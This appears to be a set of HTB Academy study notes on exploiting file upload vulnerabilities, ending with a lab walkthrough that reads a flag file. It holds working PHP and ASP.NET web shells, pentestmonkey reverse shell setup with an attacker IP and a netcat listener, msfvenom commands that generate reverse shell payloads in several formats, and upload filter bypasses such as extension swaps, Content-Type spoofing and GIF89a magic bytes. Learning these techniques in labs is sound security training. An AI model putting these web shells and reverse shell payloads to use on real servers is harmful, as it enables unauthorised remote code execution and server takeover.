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Upload Exploitation

🎯 Core Technique: The final step in exploiting file upload vulnerabilities - deploying web shells and reverse shells for remote code execution

Overview

The final step in exploiting file upload vulnerabilities is to upload malicious scripts in the same language as the web application, such as web shells or reverse shell scripts. Once we upload our malicious script and visit its link, we can interact with it to take control over the back-end server.

Web Shells

🖥️ Interactive Control: Web-based command execution interfaces for compromised servers

Using Existing Web Shells

We can find many excellent web shells online that provide useful features, like directory traversal or file transfer. One good option for PHP is phpbash, which provides a terminal-like, semi-interactive web shell.

SecLists Web Shell Collection:

  • Location: /opt/useful/seclists/Web-Shells/
  • Languages: PHP, ASP, ASPX, JSP, Perl, Python
  • Features: Various functionality levels from basic to advanced

Deployment Process

  1. Download appropriate web shell for target language (PHP, ASP.NET, etc.)
  2. Upload through vulnerable upload feature
  3. Navigate to uploaded file location
  4. Interact with the web shell interface

Example phpbash deployment:

# Upload phpbash.php through vulnerable upload form
# Access via: http://SERVER_IP:PORT/uploads/phpbash.php

Expected output:

www-data@target:/var/www/html/uploads$ whoami
www-data
www-data@target:/var/www/html/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Web Shell Advantages

  • Easy to use - Terminal-like interface
  • File management - Upload/download capabilities
  • Directory traversal - Navigate server filesystem
  • Command execution - Run system commands
  • Persistent access - Remains until removed

Writing Custom Web Shell

✍️ Manual Creation: Building simple but effective web shells when online tools aren't available

PHP Web Shell

Basic PHP Web Shell:

<?php system($_REQUEST['cmd']); ?>

Usage:

# Save as shell.php and upload
# Execute commands via: http://SERVER_IP:PORT/uploads/shell.php?cmd=id

Example execution:

# URL: http://SERVER_IP:PORT/uploads/shell.php?cmd=id
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enhanced PHP Web Shell

Improved version with better formatting:

<?php 
if(isset($_REQUEST['cmd'])){ 
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

ASP.NET Web Shell

Basic .NET Web Shell:

<% eval request('cmd') %>

Usage:

# Save as shell.aspx and upload
# Execute commands via: http://SERVER_IP:PORT/uploads/shell.aspx?cmd=whoami

Viewing Output in Browser

💡 Pro Tip: When using custom web shells in browsers, use source-view (Ctrl+U) to see command output as it would appear in terminal, without HTML rendering affecting the formatting.

Reverse Shell

🔄 Direct Connection: Establish reverse connection back to attacker machine for full interactive shell

Using Existing Reverse Shell Scripts

Popular Reverse Shell Resources:

  • Pentestmonkey PHP Reverse Shell - Reliable and feature-rich
  • SecLists Reverse Shells - Multiple languages and frameworks
  • RevShells.com - Online reverse shell generator

Pentestmonkey PHP Reverse Shell Setup

Step 1: Download and Configure

# Download pentestmonkey PHP reverse shell
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

# Edit configuration (lines 49-50)
$ip = '10.10.14.55';    // CHANGE THIS - Your IP
$port = 4444;           // CHANGE THIS - Your listening port

Step 2: Start Netcat Listener

nc -lvnp 4444

Step 3: Upload and Execute

# Upload php-reverse-shell.php through vulnerable upload form
# Navigate to: http://SERVER_IP:PORT/uploads/php-reverse-shell.php
# Reverse shell connection established

Expected Connection:

kabaneridev@htb[/htb]$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.55] from (UNKNOWN) [188.166.173.208] 35232
Linux target 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# whoami
www-data

Reverse Shell Advantages

  • Full interactive shell - Complete terminal functionality
  • Better stability - More reliable than web shells
  • Direct connection - No need for web interface
  • File transfer capabilities - Easy upload/download
  • Tunneling possibilities - Can tunnel other tools

Generating Custom Reverse Shell Scripts

🛠️ Automated Creation: Using msfvenom to generate custom reverse shell payloads

msfvenom Reverse Shell Generation

PHP Reverse Shell:

msfvenom -p php/reverse_php LHOST=10.10.14.55 LPORT=4444 -f raw > reverse.php

JSP Reverse Shell:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.55 LPORT=4444 -f raw > reverse.jsp

ASPX Reverse Shell:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.55 LPORT=4444 -f aspx > reverse.aspx

WAR Reverse Shell (Tomcat):

msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.55 LPORT=4444 -f war > reverse.war

msfvenom Advantages

  • Bypass restrictions - May evade certain security filters
  • Multiple formats - Various output formats available
  • Custom encoding - Built-in evasion techniques
  • Framework specific - Optimized for different web technologies

HTB Academy Lab Solution

Target Information

  • Target: 94.237.49.23:52640
  • Objective: Upload web shell and retrieve /flag.txt
  • Technique: File upload exploitation

Step-by-Step Solution

Step 1: Create Simple Web Shell

<?php system($_REQUEST['cmd']); ?>

Step 2: Upload Web Shell

# Save as shell.php
# Upload through vulnerable upload form
# Note upload location (e.g., /uploads/)

Step 3: Execute Commands

# Access: http://94.237.49.23:52640/uploads/shell.php?cmd=id
# Test command execution works

# Find flag: http://94.237.49.23:52640/uploads/shell.php?cmd=cat /flag.txt

Expected Flag Format:

HTB{...}

Alternative Approaches

If basic upload fails:

  1. Try different extensions: .phtml, .php3, .php4, .php5
  2. Modify Content-Type: Change to image/jpeg while keeping PHP content
  3. Add magic bytes: Prepend GIF89a to PHP code
  4. Use reverse shell: Deploy pentestmonkey or msfvenom payload

This comprehensive approach to upload exploitation provides the foundation for compromising web applications through file upload vulnerabilities, leading to full server compromise through web shells or reverse shells.